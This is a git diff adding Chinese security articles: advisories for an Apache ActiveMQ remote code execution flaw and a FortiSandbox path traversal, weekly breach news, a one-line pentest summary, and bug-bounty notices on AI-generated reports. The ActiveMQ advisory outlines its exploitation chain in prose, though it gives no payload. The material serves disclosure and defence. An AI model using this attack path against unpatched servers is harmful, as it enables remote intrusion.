| 危害描述:攻击者可通过Jolokia API调用添加恶意连接器,利用Spring XML配置文件执行任意命令。 |
| 参考链接: https://www.openwall.com/lists/oss-security/2026/04/23/4 |
+
+4
+
+
+**漏洞复现**
+
+中成信息安全实验室已复现Apache ActiveMQ 远程代码执行漏
+洞,验证如下。
+
+
+
+5
+
+
+**修复建议**
+
+官方已发布安全版本,建议受影响用户建议立即升级至
+
+Apache ActiveMQ >=5.19.6
+
+Apache ActiveMQ >= 6.2.5
+下载地址:
+
+https://activemq.apache.org/download.html
+
+
+
+
+
+
+
+
+
+关于我们
+
+
+漳州中成信息科技有限公司是一家专注于网络安全实战防护的创新型服务提供商。我们深刻理解网络安全的核心在于攻防对抗的持续较量,并以此独特视角为基石,致力于为客户构建动态、主动、智能化的纵深防御体系。区别于传统的被动防御,我们坚信“未知攻,焉知防”。公司汇聚了顶尖的渗透测试专家(红队)、应急处置精英(蓝队)及经验丰富的安全服务工程师,形成了一支具备完整攻防对抗能力的专业团队。我们的渗透测试团队模拟真实攻击者的思维与手段,深入挖掘系统、应用及网络中的深层次漏洞与风险点;应急处置团队则能在安全事件发生时快速响应、精准定位、有效遏制损失并溯源根因;安服工程师团队则致力于将攻防对抗中获得的宝贵经验转化为常态化的安全策略、加固措施与运营流程。
+
+
+
+
+
+
+**点击名片**
+
+
+
+**关注我们**
+
+
+
+**扫描官网二维码**
+
+
+**了解更多**
+
+
+
+
+
+
+
+
+
+
+
diff --git a/doc/2026-04/【漏洞通告】Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466).md b/doc/2026-04/【漏洞通告】Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466).md
new file mode 100644
index 00000000..bef2a8d5
--- /dev/null
+++ b/doc/2026-04/【漏洞通告】Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466).md
@@ -0,0 +1,217 @@
+# 【漏洞通告】Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466)
+深瞳漏洞实验室
+ 深瞳漏洞实验室 深信服千里目安全技术中心 2026-04-24 12:29
+
+
+
+**漏洞名称:**
+
+Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466)
+
+**组件名称:**
+
+Apache ActiveMQ
+
+**影响范围:**
+
+Apache ActiveMQ < 5.19.6
+
+6.0.0 ≤ Apache ActiveMQ< 6.2.5
+
+Apache ActiveMQ Broker < 5.19.6
+
+6.0.0 ≤ Apache ActiveMQ Broker < 6.2.5
+
+Apache ActiveMQ All < 5.19.6
+
+6.0.0 ≤ Apache ActiveMQ All < 6.2.5
+
+**漏洞类型:**
+
+代码执行
+
+**利用条件:**
+
+1、用户认证:需要用户认证
+
+2、前置条件:默认配置
+
+3、触发方式:远程
+
+**综合评价:**
+
+<综合评定利用难度>:困难,需要认证。
+
+<综合评定威胁等级>:高危,能造成远程代码执行。
+
+**官方解决方案:**
+
+已发布
+
+
+
+
+**漏洞分析**
+
+
+
+组件介绍
+
+Apache ActiveMQ 是最流行的开源、多协议、基于 Java 的消息代理。它支持行业标准协议,因此用户可以从多种语言和平台的客户端选择中受益。从使用 JavaScript、C、C++、Python、.Net 等编写的客户端进行连接。
+
+
+
+**漏洞简介**
+
+
+2026年4月24日,深瞳漏洞实验室监测到一则Apache ActiveMQ组件存在代码执行漏洞的信息,漏洞编号:CVE-2026-40466,漏洞威胁等级:高危。
+
+
+Apache ActiveMQ Broker、Apache Active MQ All和Apache ActiveMQ中的输入验证不正确、代码生成控制不正确代码注入漏洞。**如果ActiveMQ HTTP模块在类路径上,则经过身份验证的攻击者可以通过BrokerView.addNetworkConnector或BrokerView.addConnector通过Jolokia使用HTTP Discovery传输添加连接器,从而绕过CVE-2026-34197中的修复。恶意HTTP端点可以通过HTTP URI返回VM传输,这将绕过CVE-2026-34197中添加的验证。然后,攻击者可以使用VM传输的BrokerConfig参数来使用ResourceXmlApplicationContext加载远程Spring XML应用程序上下文。**
+
+
+
+
+**影响范围**
+
+目前受影响的Apache ActiveMQ版本:
+
+Apache ActiveMQ < 5.19.6
+
+6.0.0 ≤ Apache ActiveMQ < 6.2.5
+
+Apache ActiveMQ Broker < 5.19.6
+
+6.0.0 ≤ Apache ActiveMQ Broker < 6.2.5
+
+Apache ActiveMQ All < 5.19.6
+
+6.0.0 ≤ Apache ActiveMQ All < 6.2.5
+
+
+
+**解决方案**
+
+
+
+**官方修复建议**
+
+
+官方已发布最新版本修复该漏洞,建议受影响用户将Apache ActiveMQ升级到最新版本。
+
+下载链接:https://activemq.apache.org/download.html
+
+
+
+
+**临时修复建议**
+
+- 关闭未使用的功能模块,减少潜在攻击入口。
+
+- 遵循最小权限原则,严控各类敏感操作权限范围。
+
+- 非必要不暴露服务到公网,限制访问源为可信范围。
+
+- 定期更新系统及各类组件至安全版本,及时修补已知隐患。
+
+
+
+
+
+**深信服解决方案**
+
+
+**1、风险资产发现**
+
+支持对Apache ActiveMQ的主动检测,**可批量检出业务场景中该事件的受影响资产情况,**
+相关产品如下:
+
+**【深信服云镜YJ】**
+ 已发布资产检测方案,指纹ID:0007260。
+
+**【深信服漏洞评估工具TSS】**
+已发布资产检测方案,指纹ID:0007260。
+
+
+**2、漏洞主动检测**
+
+支持对Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466)的主动检测,**可批量快速检出业务场景中是否存在漏洞风险,**
+相关产品如下:
+
+**【深信服云镜YJ】**
+预计2026年04月26日发布检测方案,规则ID:SF-2026-00904。
+
+**【深信服漏洞评估工具TSS】**
+预计2026年05月30日发布检测方案,规则ID:SF-2026-01015。
+
+**【深信服安全托管服务MSS】**
+预计2026年05月30日发布检测方案(需要具备TSS组件能力),规则ID:SF-2026-01015。
+
+**【深信服可拓展检测响应平台XDR】**
+预计2026年04月26日发布检测方案(需要具备云镜组件能力),规则ID:SF-2026-00904。
+
+
+**3、漏洞安全监测**
+
+支持对Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466)的监测,**可依据流量收集实时监控业务场景中的受影响资产情况,快速检查受影响范围,**
+相关产品及服务如下:
+
+**【深信服安全感知管理平台SIP】**
+预计2026年05月08日发布监测方案,规则ID:11220422。
+
+**【深信服安全托管服务MSS】**
+预计2026年05月08日发布监测方案(需要具备SIP组件能力),规则ID:11220422。
+
+**【深信服可拓展检测响应平台XDR】**
+预计2026年05月08日发布监测方案,规则ID:11220422。
+
+
+**4、漏洞安全防护**
+
+支持对Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466)的防御,**可阻断攻击者针对该事件的入侵行为,**
+相关产品及服务如下:
+
+**【深信服下一代防火墙AF】**
+预计2026年05月08日发布防护方案,规则ID:11220422。
+
+**【深信服Web应用防火墙WAF】**
+预计2026年05月08日发布防护方案,规则ID:11220422。
+
+**【深信服安全托管服务MSS】**
+预计2026年05月08日发布防护方案(需要具备AF组件能力),规则ID:11220422。
+
+**【深信服可拓展检测响应平台XDR】**
+预计2026年05月08日发布防护方案(需要具备AF组件能力),规则ID:11220422。
+
+
+
+参考链接
+
+
+https://seclists.org/oss-sec/2026/q2/207
+
+
+
+时间轴
+
+
+
+**2026/04/24**
+
+深瞳漏洞实验室监测到Apache ActiveMQ 远程代码执行漏洞信息。
+
+
+**2026/04/24**
+
+深瞳漏洞实验室发布漏洞通告。
+
+
+点击**阅读原文**
+,及时关注并登录深信服**智安全平台**
+,可轻松查询漏洞相关解决方案。
+
+
+
+
+
+
diff --git a/doc/2026-04/【漏洞通告】FortiSandbox目录遍历漏洞(CVE-2026-39813).md b/doc/2026-04/【漏洞通告】FortiSandbox目录遍历漏洞(CVE-2026-39813).md
new file mode 100644
index 00000000..22535c3f
--- /dev/null
+++ b/doc/2026-04/【漏洞通告】FortiSandbox目录遍历漏洞(CVE-2026-39813).md
@@ -0,0 +1,171 @@
+# 【漏洞通告】FortiSandbox目录遍历漏洞(CVE-2026-39813)
+深瞳漏洞实验室
+ 深瞳漏洞实验室 深信服千里目安全技术中心 2026-04-24 12:29
+
+
+
+**漏洞名称:**
+
+FortiSandbox目录遍历漏洞(CVE-2026-39813)
+
+**组件名称:**
+
+FortiSandbox
+
+**影响范围:**
+
+5.0.0 ≤=FortiSandbox≤= 5.0.5
+
+4.4.0 ≤=FortiSandbox≤= 4.4.8
+
+**漏洞类型:**
+
+目录遍历
+
+**利用条件:**
+
+1、用户认证:无需用户认证
+
+2、前置条件:默认配置
+
+3、触发方式:远程
+
+**综合评价:**
+
+<综合评定利用难度>:容易,无需授权即可造成敏感信息泄露。
+
+<综合评定威胁等级>:高危,能够造成敏感信息泄露。
+
+**官方解决方案:**
+
+已发布
+
+
+
+
+**漏洞分析**
+
+
+
+组件介绍
+
+Fortinet FortiSandbox 是一款先进的沙箱技术,旨在通过动态分析检测和防御未知的恶意软件和攻击。它能够有效地模拟攻击环境并捕捉潜在威胁,提升网络安全性。
+
+
+
+
+**漏洞简介**
+
+
+2026年4月23日,深瞳漏洞实验室监测到一则FortiSandbox组件存在目录遍历漏洞的信息,漏洞编号:CVE-2026-39813,漏洞威胁等级:高危。
+
+
+Fortinet FortiSandbox 5.0.0 至 5.0.5 和 4.4.0 至 4.4.8 包含因错误输入验证导致的路径遍历,**允许攻击者通过精心设计的路径穿越提升权限,利用漏洞则要求攻击者发送精心设计的请求。**
+
+
+
+
+**影响范围**
+
+目前受影响的FortiSandbox版本:
+
+5.0.0 ≤FortiSandbox≤ 5.0.5
+
+4.4.0 ≤FortiSandbox≤ 4.4.8
+
+
+
+**解决方案**
+
+
+
+**官方修复建议**
+
+
+官方已发布最新版本修复该漏洞,建议受影响用户将FortiSandbox5.0升级到5.0.6或更高版本,FortiSandbox升级到4.4.9或更高版本。
+https://fortiguard.fortinet.com/psirt/FG-IR-26-112
+
+
+
+
+**临时修复建议**
+
+- 关闭未使用的功能模块,减少潜在攻击入口。
+
+- 遵循最小权限原则,严控各类敏感操作权限范围。
+
+- 非必要不暴露服务到公网,限制访问源为可信范围。
+
+- 定期更新系统及各类组件至安全版本,及时修补已知隐患。
+
+
+
+
+
+**深信服解决方案**
+
+
+**1、漏洞安全监测**
+
+支持对FortiSandbox目录遍历漏洞(CVE-2026-39813)的监测,**可依据流量收集实时监控业务场景中的受影响资产情况,**
+快速检查受影响范围,相关产品及服务如下:
+
+**【深信服安全感知管理平台SIP】**
+预计2026年05月06日发布监测方案,规则ID:11220421。
+
+**【深信服安全托管服务MSS】**
+预计2026年05月06日发布监测方案(需要具备SIP组件能力),规则ID:11220421。
+
+**【深信服可拓展检测响应平台XDR】**
+预计2026年05月06日发布监测方案,规则ID:11220421。
+
+
+**2、漏洞安全防护**
+
+支持对FortiSandbox目录遍历漏洞(CVE-2026-39813)的防御,**可阻断攻击者针对该事件的入侵行为,**
+相关产品及服务如下:
+
+**【深信服下一代防火墙AF】**
+预计2026年05月06日发布防护方案,规则ID:11220421。
+
+**【深信服Web应用防火墙WAF】**
+预计2026年05月06日发布防护方案,规则ID:11220421。
+
+**【深信服安全托管服务MSS】**
+预计2026年05月06日发布防护方案(需要具备AF组件能力),规则ID:11220421。
+
+**【深信服可拓展检测响应平台XDR】**
+预计2026年05月06日发布防护方案(需要具备AF组件能力),规则ID:11220421。
+
+
+
+参考链接
+
+
+https://fortiguard.fortinet.com/psirt/FG-IR-26-112
+
+
+
+时间轴
+
+
+
+**2026/04/23**
+
+深瞳漏洞实验室监测到FortiSandbox目录遍历漏洞信息。
+
+
+**2026/04/24**
+
+深瞳漏洞实验室发布漏洞通告。
+
+
+点击**阅读原文**
+,及时关注并登录深信服**智安全平台**
+,可轻松查询漏洞相关解决方案。
+
+
+
+
+
+
diff --git a/doc/2026-04/【火绒安全周报】Vercel遭黑客入侵∕黑客多次入侵美最高法院.md b/doc/2026-04/【火绒安全周报】Vercel遭黑客入侵∕黑客多次入侵美最高法院.md
new file mode 100644
index 00000000..00420c4b
--- /dev/null
+++ b/doc/2026-04/【火绒安全周报】Vercel遭黑客入侵∕黑客多次入侵美最高法院.md
@@ -0,0 +1,102 @@
+# 【火绒安全周报】Vercel遭黑客入侵/黑客多次入侵美最高法院
+火绒安全
+ 火绒安全 火绒安全 2026-04-24 09:02
+
+
+
+**主流网页部署平台Vercel遭黑客入侵**
+
+
+
+4月20日,网页部署平台 Vercel 证实遭黑客入侵,涉事者疑似ShinyHunters组织成员,正出售含员工姓名、邮箱等数据。此次攻击通过遭入侵的第三方AI工具突破,其Google Workspace OAuth应用被大范围攻破,波及数百机构。Vercel 称仅少量客户受影响,已公布入侵指标,并建议用户核查操作日志、轮换 API 密钥与环境变量,加强账号权限排查,防范敏感数据持续泄露。
+
+
+相关链接:
+
+https://www.ithome.com/0/940/818.htm
+
+
+
+第三方AI工具成入侵跳板 OAut权限安全需严加管控
+
+
+
+**霍尔木兹海峡惊现过路费诈骗**
+
+
+
+
+据中新网援引路透社消息,希腊海事风险管理公司MARISKS发出预警,有诈骗分子冒充伊朗相关当局,向途经海峡的航运公司发送欺诈信息,以船只安全通行为由,要求企业使用比特币、泰达币等加密货币支付所谓“清关费”。该公司表示,4月18日在海峡遇袭的船只中,至少有一艘曾遭遇此类诈骗。此类海上新型诈骗手段隐蔽性强,极易给航运企业造成经济损失,相关方需提高警惕,核实信息真伪,避免转账受骗。
+
+
+相关链接:
+
+https://finance.sina.com.cn/wm/2026-04-21/doc-inhvhmie4967091.shtml
+
+
+**TikTok视频下载器扩展窃取13万用户数据**
+
+
+
+
+近日,至少12款伪装成TikTok视频下载器的恶意浏览器扩展程序在Chrome、Edge商店传播,超13万用户受影响。这些扩展共用同一代码库,表面可正常下载视频,实则暗中追踪用户行为、收集设备指纹等数据。攻击者利用远程动态配置机制,在安装数月后开启恶意功能以绕过应用商店审核,部分扩展甚至获得推荐标识。一旦被下架,攻击者便快速改头换面重新上架,形成持续攻击链条,存在严重隐私与安全隐患。
+
+
+相关链接:
+
+https://layerxsecurity.com/blog/stealtok-130k-users-compromised-by-data-stealing-tiktok-video-downloaders/
+
+
+
+**伪装扩展暗藏窃密风险 插件安装需谨慎甄别**
+
+
+
+**黑客多次入侵美最高法院等机构系统并网上炫耀**
+
+
+
+近日,尼古拉斯・穆尔因多次非法入侵美国最高法院、退伍军人事务部等政府机构系统,并在社交平台炫耀入侵行为,当地时间18日认罪后被判一年缓刑。穆尔通过窃取账号凭证入侵系统,还在社交账号公开相关信息。其原面临监禁及高额罚款,最终检方建议缓刑处理,他当庭表示认罪悔过。此次事件暴露政府机构系统账号权限管理存在明显安全漏洞。
+
+
+相关链接:
+
+https://www.ithome.com/0/940/818.htm
+
+**法国国家安全证件局证实发生数据泄露事件**
+
+
+
+法国负责证件管理的政府机构ANTS(France Titres)于近日发生数据泄露事件,涉事黑客声称窃取多达1900万条公民信息,包括姓名、邮箱、出生日期、住址及电话号码等。机构公告称泄露数据暂无法用于登录官方系统,但易被用于钓鱼及社会工程学攻击。目前机构已通报监管部门与网络安全机构,并通知受影响用户,提醒警惕可疑短信、邮件与来电。黑客尚未大范围公开数据,正伺机出售,相关调查仍在进行中。
+
+
+相关链接:
+
+https://www.bleepingcomputer.com/news/security/french-govt-agency-confirms-breach-as-hacker-offers-to-sell-data/
+
+HUORONG
+
+火绒安全成立于2011年,是一家专注、纯粹的安全公司,致力于在终端安全领域为用户提供专业的产品和专注的服务,并持续对外赋能反病毒引擎等相关自主研发技术。多年来,火绒安全产品凭借“专业、干净、轻巧”的特点收获了广大用户的良好口碑。火绒企业版产品更是针对企业内外网脆弱的环节,拓展了企业对于终端管理的范围和方式,提升了产品的兼容性、易用性,最终实现更直观的将威胁可视化、让管理轻便化,充分达到保护企业信息安全的目的。
+
+
+
+
+
+求点赞
+
+
+
+
+
+求分享
+
+
+
+
+
+求喜欢
+
+
+
+
+
diff --git a/doc/2026-04/一天渗透测试,后台RCE+SQL注入+信息泄露,收工.md b/doc/2026-04/一天渗透测试,后台RCE+SQL注入+信息泄露,收工.md
new file mode 100644
index 00000000..583c6c90
--- /dev/null
+++ b/doc/2026-04/一天渗透测试,后台RCE+SQL注入+信息泄露,收工.md
@@ -0,0 +1,9 @@
+# 一天渗透测试,后台RCE+SQL注入+信息泄露,收工
+原创 YMsora
+ YMsora YMs0ra的安全漫路 2026-04-24 13:50
+
+路由枚举,找到控制器后打远端SQL注册联动导致的表单爆出,成功拼接路径,拿到隐藏上传shell
+
+
+
+
diff --git a/doc/2026-04/关于AI辅助挖掘漏洞报告提交规范的公告.md b/doc/2026-04/关于AI辅助挖掘漏洞报告提交规范的公告.md
new file mode 100644
index 00000000..3de0be45
--- /dev/null
+++ b/doc/2026-04/关于AI辅助挖掘漏洞报告提交规范的公告.md
@@ -0,0 +1,58 @@
+# 关于AI辅助挖掘漏洞报告提交规范的公告
+ OPPO安全中心 2026-04-24 08:55
+
+一直以来,OPPO高度重视每一位白帽师傅提交的漏洞报告,你们的输出贡献,都是我们筑牢产品安全防线、守护用户数据安全的核心力量。
+
+随着AI大模型技术在安全领域的应用深化,不少白帽师傅利用AI工具辅助漏洞挖掘和分析,也让我们看到了技术赋能的潜力。但伴随而来的,还有大量未经人工验证的无效报告或AI导致的误报,给审核流程带来了较大的压力,也影响了真实漏洞的响应效率。
+
+为规范 AI 辅助挖掘行为、保障漏洞质量、优化平台审核流程,我们特此发布《AI辅助挖掘漏洞报告提交规范》,对 AI 辅助生成漏洞报告的提交要求进行明确说明:
+
+- **鼓励AI使用**
+:OPPO安全中心积极鼓励白帽子利用AI工具辅助或自动化挖掘漏洞,提升发现漏洞的效率,挖掘更多潜在风险。
+
+- **严格人工验证:**
+对于AI辅助或自动化挖掘产出的漏洞报告,提交前务必进行人工验证。请确保您已完成对报告真实性与危害性的评估和复现,并在报告中详细提供人工验证结果,包括但不限于:
+
+- 漏洞危害说明
+
+- 详细复现步骤
+
+- 完整的POC
+
+- 关键步骤及结果截图
+
+- **无效报告处理:**
+对于直接由AI生成、未经人工复现或未提供有效验证结果截图的报告,平台将直接予以驳回,且不提供驳回原因说明。
+
+- **违规账号处置:**
+对于累计提交超过3个AI生成报告且未经上报者人工验证报告有效性的白帽子,OPPO安全中心将提醒您的行为;对于累计提交超过5个AI生成报告且未经上报者人工验证报告有效性的白帽子,OPPO安全中心有权拉黑您的OPPO账号。
+
+
+
+AI正在渗透网络安全研究的方方面面,为漏洞挖掘带来全新助力,但技术工具依旧无法替代专业的安全研判、实地验证与理性思考。安全研究的核心,始终依托研究者的专业素养与严谨态度。我们倡导各位白帽师傅合理合规运用AI能力,但在借力新技术提升研究效率的同时,也应当恪守安全底线与技术准则,做好报告人工核验与内容把关。
+
+OPPO期待与所有白帽伙伴携手同行,共同营造严谨纯净、高效协作的安全研究环境,持续为OPPO产品安全与用户隐私防护保驾护航。
+
+
+参与该处置公告的SRC组织:
+OPPO安全中心、
+阿里云先知平台、蚂蚁SRC、腾讯SRC、百度SRC、字节SRC、京东SRC、滴滴SRC、美团SRC、快手SRC、深信服SRC、携程SRC、顺丰SRC、度小满SRC、BOSS直聘SRC、荣耀SRC、智联招聘SRC、科大讯飞SRC、中通SRC、小红书SRC、货拉拉SRC、小拉SRC、小鹏汽车SRC、理想汽车SRC、奇富SRC、
+陌陌SRC、
+vivoSRC、360SRC、
+小米安全中心、补天漏洞响应平台、
+360漏洞云、BUGBANK、太初众测平台、VSRC(排名不分先后)
+
+****
+**最新动态**
+
+**【换薪升级】互联网应用、终端安全、安全情报奖励、季度奖励全线更新!**
+
+**【全新上线】OSRC VIP白金计划正式上线**
+
+**【年终盛典】OSRC 2025年度盛典在昆明完美落幕:好吃又好玩!各种奖励拿到手软!【感恩一路同行】OSRC 2025年度优秀合作伙伴**
+
+
+
+
+
+
diff --git a/doc/2026-04/动态|国家人工智能安全漏洞库启动运行.md b/doc/2026-04/动态|国家人工智能安全漏洞库启动运行.md
new file mode 100644
index 00000000..ab507dcd
--- /dev/null
+++ b/doc/2026-04/动态|国家人工智能安全漏洞库启动运行.md
@@ -0,0 +1,19 @@
+# 动态|国家人工智能安全漏洞库启动运行
+ 信息安全研究 2026-04-24 07:15
+
+**点击蓝字 关注我们**
+
+
+
+
+# 2026年4月23日,国家信息安全漏洞库(CNNVD)在北京举办“国家人工智能安全漏洞库启动运行”发布会。中国工程院吴世忠院士出席并致辞,来自关键基础设施单位、科研院校、人工智能企业、网络安全企业、知名白帽子等200余名嘉宾参加会议,共同见证“国家人工智能安全漏洞库”的启动运行。国家管网集团、北京航空航天大学、华为技术有限公司、北京百度网讯科技有限公司、北京智谱华章科技股份有限公司、北京启明星辰信息安全技术有限公司、知名白帽子代表发表主题演讲,国家信息安全漏洞库负责人任望,对国家人工智能安全漏洞库运行机制与流程进行了介绍,并宣布将筹建人工智能漏洞联盟。国家人工智能安全漏洞库启动仪式吴世忠院士首先对“国家人工智能安全漏洞库”成立表示祝贺,并结合长期研究与观察分享了三点体会,一是人工智能的健康发展必须始终坚持统筹发展与安全,以高水平安全保障高质量创新发展;二是人工智能安全漏洞管理必须始终坚持与时俱进,主动应对人工智能带来的全新挑战;三是人工智能安全漏洞治理必须始终坚持开拓创新,不断探索适应新形势的治理路径。吴世忠院士充分肯定了国家信息安全漏洞库近二十年来的建设成效,并指出新建国家人工智能安全漏洞库是回应智能化时代安全命题的重大战略举措。面对AI技术带来的漏洞治理新挑战,吴世忠院士提出了四点建议:一是优化组织机制,构建跨域协同的治理合力;二是创新技术体系,发展以模治模的管理手段;三是制定标准规范,引领科学严谨的评估实践;四是推动国际合作,探索开放包容的治理模式。中国工程院院士吴世忠国家人工智能安全漏洞库启动运行,是贯彻落实《全球人工智能治理倡议》中提出的“坚持以人为本、智能向善”的务实有力行动。未来国家人工智能安全漏洞库将发挥资源汇聚优势,与社会各界紧密协作、携手共进,合力推动人工智能产业健康有序发展,护航数字中国和网络强国建设,共同构建网络空间命运共同体。
+
+
+(来源:
+CNNVD安全动态
+)
+
+
+
+
+
diff --git a/doc/2026-04/国家人工智能安全漏洞库启动运行.md b/doc/2026-04/国家人工智能安全漏洞库启动运行.md
index 876a8b46..423660bc 100644
--- a/doc/2026-04/国家人工智能安全漏洞库启动运行.md
+++ b/doc/2026-04/国家人工智能安全漏洞库启动运行.md
@@ -1,107 +1,103 @@
# 国家人工智能安全漏洞库启动运行
-原创 CNNVD
- CNNVD CNNVD安全动态 2026-04-24 02:08
-
-
-
-
-
-**点击蓝字 关注我们**
-
-
-
-
-
+ 安全419 2026-04-24 09:23
2026年4月23日,国家信息安全漏洞库(CNNVD)在北京举办“国家人工智能安全漏洞库启动运行”发布会。中国工程院吴世忠院士出席并致辞,来自关键基础设施单位、科研院校、人工智能企业、网络安全企业、知名白帽子等200余名嘉宾参加会议,共同见证“国家人工智能安全漏洞库”的启动运行。国家管网集团、北京航空航天大学、华为技术有限公司、北京百度网讯科技有限公司、北京智谱华章科技股份有限公司、北京启明星辰信息安全技术有限公司、知名白帽子代表发表主题演讲,国家信息安全漏洞库负责人任望,对国家人工智能安全漏洞库运行机制与流程进行了介绍,并宣布将筹建人工智能漏洞联盟。
-
+
+
国家人工智能安全漏洞库启动仪式
-**01**
-
-**院士致辞**
-
-
吴世忠院士首先对“国家人工智能安全漏洞库”成立表示祝贺,并结合长期研究与观察分享了三点体会,一是人工智能的健康发展必须始终坚持统筹发展与安全,以高水平安全保障高质量创新发展;二是人工智能安全漏洞管理必须始终坚持与时俱进,主动应对人工智能带来的全新挑战;三是人工智能安全漏洞治理必须始终坚持开拓创新,不断探索适应新形势的治理路径。
+
吴世忠院士充分肯定了国家信息安全漏洞库近二十年来的建设成效,并指出新建国家人工智能安全漏洞库是回应智能化时代安全命题的重大战略举措。面对AI技术带来的漏洞治理新挑战,吴世忠院士提出了四点建议:一是优化组织机制,构建跨域协同的治理合力;二是创新技术体系,发展以模治模的管理手段;三是制定标准规范,引领科学严谨的评估实践;四是推动国际合作,探索开放包容的治理模式。
-
+
+
中国工程院院士 吴世忠
-**02**
-
-**专家发言**
-
国家管网集团网络安全总监王学力,发表 “锚定AI安全底线,践行央企使命,护航国家管网数字化转型高质量发展” 的演讲。
-
+
+
国家管网集团网络安全总监 王学力
-北京航空航天大学网络空间安全学院副院长彭浩,发表 “北航网安学院人工智能漏洞挖掘经验分享”的演讲。
+北京航空航天大学网络空间安全学院副院长彭浩,发表 “北航网安学院人工智能漏洞挖掘经验分享”的演讲。
-
+
+
北京航空航天大学网络空间安全学院副院长 彭浩
华为技术有限公司中国区首席网络安全与隐私保护官李加赞,发表 “筑牢AI安全底座,共建国家AI漏洞库”的演讲。
-
+
+
华为技术有限公司中国区首席网络安全与隐私保护官 李加赞
北京百度网讯科技有限公司百度安全副总裁顾孔希,发表 “范式重构:AI时代漏洞治理的变与不变”的演讲。
-
+
+
北京百度网讯科技有限公司百度安全副总裁 顾孔希
北京智谱华章科技股份有限公司副总裁冯小平,发表 “在Z-Day到来之前”的演讲。
-
+
+
北京智谱华章科技股份有限公司副总裁 冯小平
北京启明星辰信息安全技术有限公司董事长袁捷,发表 “共筑AI安全基座,护航智能时代发展”的演讲。
-
+
+
北京启明星辰信息安全技术有限公司董事长 袁捷
国家信息安全漏洞库特约专家、漏洞技术研究联盟理事长、深圳安络科技公司董事长谢朝霞,发表 “人工智能的漏洞密码”的演讲。
-
+
+
国家信息安全漏洞库特约专家 谢朝霞
国家信息安全漏洞库负责人任望,对国家人工智能安全漏洞库机制与流程进行介绍,并宣布将筹建AI漏洞联盟。
-
+
+
国家信息安全漏洞库负责人 任望
-**03**
-
-**结语**
-
国家人工智能安全漏洞库启动运行,是贯彻落实《全球人工智能治理倡议》中提出的“坚持以人为本、智能向善”的务实有力行动。未来国家人工智能安全漏洞库将发挥资源汇聚优势,与社会各界紧密协作、携手共进,合力推动人工智能产业健康有序发展,护航数字中国和网络强国建设,共同构建网络空间命运共同体。
-
+
+END
+
+
+
+
+**粉丝福利群开放啦**
+
+加安全419好友进群
+
+红包/书籍/礼品等不定期派送
diff --git a/doc/2026-04/太初众测平台关于AI生成漏洞报告的处置公告.md b/doc/2026-04/太初众测平台关于AI生成漏洞报告的处置公告.md
new file mode 100644
index 00000000..a7c19578
--- /dev/null
+++ b/doc/2026-04/太初众测平台关于AI生成漏洞报告的处置公告.md
@@ -0,0 +1,34 @@
+# 太初众测平台关于AI生成漏洞报告的处置公告
+ 太初众测 2026-04-24 10:54
+
+
+
+随着大模型能力日益增强,利用AI工具辅助或自动化挖掘漏洞已成为安全研究的新趋势。近期,我们确实收到了一些由AI协助发现的高质量漏洞报告,但同时也面临大量未经人工验证的无效报告,甚至是被AI“幻觉”误导而产生的误报。
+
+为了合理分配有限的审核资源,确保太初众测平台审核团队能聚焦于真实有效的漏洞,同时维护良好的社区生态,特此发布本公告,对AI辅助挖掘和生成的漏洞报告提交标准进行规范:
+- **鼓励AI使用:**
+太初众测平台积极鼓励白帽子利用AI工具辅助或自动化挖掘漏洞,提升发现漏洞的效率,挖掘更多潜在风险。
+
+- **严格人工验证:**
+对于AI辅助或自动化挖掘产出的漏洞报告,提交前务必进行人工验证。请确保您已完成对报告真实性与危害性的评估和复现,并在报告中详细提供人工验证结果,包括但不限于:
+
+∘ 漏洞危害说明
+
+∘ 详细复现步骤
+
+∘ 完整的POC
+
+∘ 关键步骤及结果截图
+
+- **无效报告处理:**
+对于直接由AI生成、未经人工复现或未提供有效验证结果截图的报告,平台将直接予以驳回,且不提供驳回原因说明。
+
+- **违规账号处置:**
+对于累计提交超过3个AI生成报告且未经上报者人工验证报告有效性的白帽子,平台将提醒您的行为;对于累计提交超过5个AI生成报告且未经上报者人工验证报告有效性的白帽子,平台有权拉黑您的太初众测平台账号。
+
+我们深知AI技术正在深刻改变安全研究的方式与效率,但高质量的漏洞报告目前还离不开人的判断与责任感。希望广大白帽子在享受技术红利的同时,严守技术伦理,坚守质量底线,共同维护一个专业、高效、可持续发展的漏洞披露与交流平台。
+
+感谢您一直以来对太初众测平台的支持与信任!
+
+参与该处置公告的SRC组织:360SRC、阿里云先知平台、蚂蚁SRC、腾讯SRC、百度SRC、字节SRC、京东SRC、滴滴SRC、美团SRC、快手SRC、深信服SRC、携程SRC、顺丰SRC、度小满SRC、BOSS直聘SRC、荣耀SRC、智联招聘SRC、科大讯飞SRC、中通SRC、小红书SRC、货拉拉SRC、小拉SRC、小鹏汽车SRC、理想汽车SRC、奇富SRC、陌陌SRC、vivoSRC、OPPO安全中心、小米安全中心、补天漏洞响应平台、360漏洞云、BUGBANK、太初众测平台(排名不分先后)
+
diff --git a/doc/2026-04/安全热点周报:Windows Defender 被漏洞利用,成了黑客的“帮凶”.md b/doc/2026-04/安全热点周报:Windows Defender 被漏洞利用,成了黑客的“帮凶”.md
new file mode 100644
index 00000000..18d5db13
--- /dev/null
+++ b/doc/2026-04/安全热点周报:Windows Defender 被漏洞利用,成了黑客的“帮凶”.md
@@ -0,0 +1,192 @@
+# 安全热点周报:Windows Defender 被漏洞利用,成了黑客的“帮凶”
+ 奇安信 CERT 2026-04-24 09:25
+
+| 安全资讯导视 |
|---|
• 国家网信办等十部门联合公布《促进和规范电子单证应用规定》 |
• 国产AI开源组件Xinference遭供应链投毒,用户访问凭证和密钥等或泄露 |
• 因默认设计不安全,知名AI编程公司Lovable所有用户数据公开暴露 |
+
+**PART****0****1**
+
+
+**漏洞情报**
+
+
+**1.Apache ActiveMQ远程代码执行漏洞安全风险通告**
+
+
